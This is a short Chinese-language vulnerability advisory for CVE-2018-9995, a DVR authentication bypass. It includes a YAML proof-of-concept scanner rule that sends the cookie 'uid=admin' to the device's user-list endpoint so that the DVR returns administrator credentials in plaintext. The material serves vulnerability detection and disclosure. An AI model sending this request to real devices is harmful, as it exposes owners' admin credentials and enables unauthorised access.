CVE-2018-9995: DVR Authentication Bypass

日期: 2025-08-01 | 影响软件: DVR | POC: 已公开

漏洞描述

DVR,全称为Digital Video Recorder(硬盘录像机),即数字视频录像机。最初由阿根廷研究员发现,通过使用“Cookie: uid = admin”的Cookie标头来访问特定DVR的控制面板,DVR将以明文形式响应设备的管理员凭证。

PoC代码[已公开]

id: CVE-2018-9995

info:
  name: DVR Authentication Bypass
  author: cc_ci
  severity: critical
  description: |-
    DVR,全称为Digital Video Recorder(硬盘录像机),即数字视频录像机。最初由阿根廷研究员发现,通过使用“Cookie: uid = admin”的Cookie标头来访问特定DVR的控制面板,DVR将以明文形式响应设备的管理员凭证。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-9995
  tags: cve,cve2018,dvr,bypass
  created: 2023/08/10

rules:
  r0:
    request:
      method: GET
      path: /device.rsp?opt=user&cmd=list
      headers:
        Cookie: uid=admin
      follow_redirects: true
    expression: response.status == 200 && response.body.bcontains(bytes("\"uid\":")) && response.body.bcontains(b'"playback":')
expression: r0()

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